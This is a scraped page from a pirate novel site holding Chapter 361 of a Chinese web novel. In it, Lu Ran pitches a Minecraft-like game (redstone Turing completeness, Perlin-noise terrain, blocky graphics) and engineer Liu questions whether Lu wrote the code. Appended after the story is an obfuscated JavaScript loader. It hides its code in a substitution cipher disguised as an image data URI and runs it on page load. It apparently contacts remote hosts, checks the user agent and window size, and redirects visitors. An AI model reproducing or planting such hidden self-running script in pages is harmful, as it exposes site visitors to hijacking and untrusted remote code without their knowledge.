首页
第361章 刘工的质疑
返回
关灯 护眼:关 字号:小

第361章 刘工的质疑

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第361章刘工的质疑(第1/2页)
    听到刘工的话,陆然看了他一眼,心里对这个刘工的评价高了几分。
    能一眼看出红石系统是图灵完备的,说明这个人的理论功底很扎实。
    “对。红石系统是图灵完备的。理论上,玩家可以用红石在我的世界里搭建任何计算机程序。从简单的逻辑电路到复杂的数据运算,都可以实现。”
    会议室里又安静了。
    图灵完备这个词,在座的人里有一半不知道是什么意思。
    但知道的人,脸上的表情都变得很微妙。
    那不是惊讶,是一种说不清楚的、介于敬畏和恐惧之间的表情。
    “陆总。”刘工的声音有些干涩,“你知道图灵完备意味着什么吗?”
    “知道。”
    “你真的要在一款游戏里放一个图灵完备的系统?”
    “真的。”
    刘工沉默了很久,然后说了一句让全场都笑了的话:“你疯了。”
    陆然也笑了:“我不是疯了,我是想让玩家在我的游戏里创造自己的世界,而不是在我的世界里玩我给他们安排好的内容。红石系统是这个理念的核心。玩家用红石搭出来的东西,比我能想到的任何东西都要精彩。我不需要教玩家怎么玩,我只需要给玩家一个足够强大的工具,他们会自己找到乐趣。”
    刘工回到座位上坐下,没有再说任何质疑的话。
    老王还在翻代码,翻着翻着忽然抬起头:“陆总,你这个世界生成的算法,用的是柏林噪声?”
    “对。”
    “怪不得地图生成得这么自然。柏林噪声做地形生成是最合适的,但市面上很少有人用得好。你这个参数调得太准了,山谷、河流、山脈,每一样都很自然。你怎么调的?”
    陆然笑了笑:“调了很久。调了几百版,最后才定下来。”
    他不能说这个参数是系统直接给的,只能说自己调的。
    老王没有追问,低下头继续看代码。
    陆然看了一眼台下的反应。
    之前那些脸上带着疑惑的人,现在表情都变了。
    不是完全理解了这款游戏的价值,而是被眼前这个完整的、可运行的、质量超乎想象的成品给震住了。
    陆然在心里给自己点了个赞。就知道这帮人光看方案不会信,得拿出真东西来。
    方案写一万字不如一个能玩的demo。
    他把笔记本电脑合上,收起投影,重新站到白板前面。
    “刚才刘工提了一个问题,说我的世界的画面全是方块,玩家会不会觉得太简陋了。我回答一下这个问题。”
    他在白板上写了一个词:性能。
    “EA的《荒野纪元》配置要求多高你们知道。独立显卡,八个G的内存,很多玩家的电脑根本跑不动。我的世界呢?集成显卡就能跑,两个G的内存就能玩,基本上是个电脑就能带得动。因为方块太简单了,不需要复杂的渲染,不需要高精度的模型,不需要大量的纹理贴图。这种性能优势,是EA永远追不上的。他们不可能为了性能牺牲画面质量,因为画面是他们的核心卖点。我的世界从一开始就没有画面这个包袱,所以可以把优化做到极致。”
    他又写了一行字:辨识度。
    “市面上所有的游戏都在追求画面真实感,越做越像,你不看logo都分不清哪个是哪个。我的世界不一样。你看到方块就知道这是我的世界,这种辨识度花多少钱都买不来。有人会说这种画风太幼稚了,像个儿童游戏。但你们想想,儿童游戏怎么了?儿童游戏意味着全年龄段都能玩,不存在‘这个游戏太硬核了玩不懂’的问题。上手门槛低,对一款游戏来说不是坏事。”
    他在白板上写了第三个词:创造力。
    “画面简陋还有一个好处,玩家的注意力不会被画面分散,会集中在玩法上。别的游戏你进去先欣赏风景,看哪里好看截个图发朋友圈。我的世界你进去第一件事就是砍树,砍完树盖房子,盖完房子挖矿,挖完矿打怪。停不下来,根本没有时间停下来看风景。因为风景没什么好看的,但这个破破烂烂的方块世界就是让你放不下鼠标。这就是我的世界的魔力。”
    陆然放下马克笔,看着台下:“说了这么多,我就一个意思。不要拿画面的标准去衡量我的世界。我的世界不是用眼睛看的,是用脑子玩的。你觉得它丑,那是因为你还没玩进去。等你玩进去了,你会发现那些方块是这个世界上最顺眼的东西。”
    会议室里安静了一下后,有人便带头鼓起了掌。
    掌声越来越大,连刘工都跟着拍了几下手,虽然拍得不太情愿。
    陆然等掌声停下来,把马克笔放回白板槽里:“行了,漂亮话讲完了,接下来讲正事。我的世界的开发分为三个阶段。第一个阶段,代码消化期。你们先把我给的代码从头到尾读一遍,读懂了再动手。这个阶段预计两周。两周之后每个人交一份代码分析报告,告诉我你负责的模块是怎么实现的、哪里可以优化、哪里需要重写。写不出来的人就不用参与这个项目了。”
    (本章未完,请点击下一页继续阅读)第361章刘工的质疑(第2/2页)
    “第二个阶段,本地化改造期。这份代码的底层架构没问题,但有些地方不符合龙国玩家的习惯。比如默认键位、默认设置、默认玩法。这些都要改,改到龙国玩家用着顺手为止。这个阶段预计一个月。一个月之后拿出一个内部测试版,我们自己在公司里玩,发现问题及时改。”
    “第三个阶段,正式开发期。前两个阶段完成了,才开始真正的开发工作。到时候需要加什么功能、改什么系统、做什么优化,你们提方案,我来定。这个阶段没有时间表,做到满意为止。”
    他扫了一眼台下:“有问题吗?”
    老王举手:“陆总,代码消化期两周够吗?这个代码量很大,两周读不完。”
    “读不完就加班读。加到读完为止。”
    老王张了张嘴想说什么,又闭上了。
    赵一鸣举手:“陆哥,我可不可以不参与其他的模块,专门研究红石系统?我觉得那个系统太有意思了,我想把它吃透。”
    “行。你就专门研究红石系统。每周给我一份进度报告。”
    “收到。”
    张昊举手:“陆哥,世界生成的算法我可以看吗?我想搞清楚你那个柏林噪声的参数是怎么调的,然后在这个基础上做一些优化。”
    “可以。你专门研究世界生成算法。跟赵一鸣一样,每周一份进度报告。”
    刘工坐在后排,没有举手也没有说话。
    陆然看着他:“刘工,你有什么想法?”
    刘工沉默了一下,然后说:“陆总,我有个问题。这个代码不是你写的吧?”
    会议室里的气氛一下子紧张了起来。
    陆然看着刘工,表情没有任何变化:“为什么这么说?”
    “因为风格不统一。”刘工说,“我看了几段代码,有些部分写得很老练,像写了十几年的老手。有些部分又写得很随性,像刚入行的新人。一个人写不出两种风格的代码,除非是两个人写的。”
    陆然笑了:“我什么时候说过这是我一个人写的?我之前说了,有些部分是找人帮忙的,签了保密协议,不能透露。你不信可以去问周哥,他知道这件事。”
    刘工看了他一眼,没有再追问。
    这件事陆然确实跟周明哲打过招呼。
    周明哲虽然不知道这些代码到底是怎么来的,但他知道有些事情不该问就别问。
    陆然说有保密协议,那就是有保密协议。至于协议的另一方是谁,不重要。
    会议结束后,陆然拄着拐杖走出会议室,老王跟了上来。
    “陆总,刘工刚才那个问题,你真的不用解释一下?”
    “解释什么?他越想越觉得对,我不解释他反而觉得神秘,一解释就露馅了。让他猜去,猜一辈子也猜不出来。”
    老王摇了摇头:“你这个人,太会藏了。”
    “不是会藏,是有些东西不能说。”陆然拍了拍老王的肩膀,“你只要知道一件事就行了。我的世界这款游戏,一定会成功。不是因为我对它有信心,是因为我知道玩家需要它。”
    “你怎么知道玩家需要它?”
    “因为我就是玩家。我知道玩家想要什么,不想要什么。”
    老王看着他的背影,在走廊里站了很久,才转身回了技术部。
    陆然回到办公室,沈月歌已经走了,茶几上留了一张纸条:“我去工作室了,晚上回来。你腿还没好,少走路。”
    陆然笑了笑,把纸条折好放进口袋,坐回办公桌后面,打开我的世界的文件夹,开始逐行看代码。
    虽然他知道这份代码没有任何问题,但他还是要看。
    不是因为不放心,是因为他想搞清楚这个世界的技术体系跟前世有什么不同。
    只有搞清楚了底层的东西,以后做其他游戏的时候才不会踩坑。
    窗外的天色渐渐暗了下来,沪城的冬天黑得早。
    陆然一个人坐在办公室里,对着电脑屏幕上密密麻麻的代码,嘴角挂着一丝笑意。
    我的世界,终于要在这个世界出现了。
    他想起前世的自己,在一个破旧的出租屋里,第一次打开我的世界,被那个方块世界震撼得说不出话的场景。
    那种震撼不是来自画面,而是来自一种说不清楚的感觉——这个世界是活的,是属于我的,我可以在这里做任何事情。
    他想把这种感觉带给这个世界的玩家。
    不是为了赚钱,不是为了打败EA,不是为了证明什么。
    只是为了把那种让他震撼过的感觉,传递给别人。
    仅此而已。
    ...
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();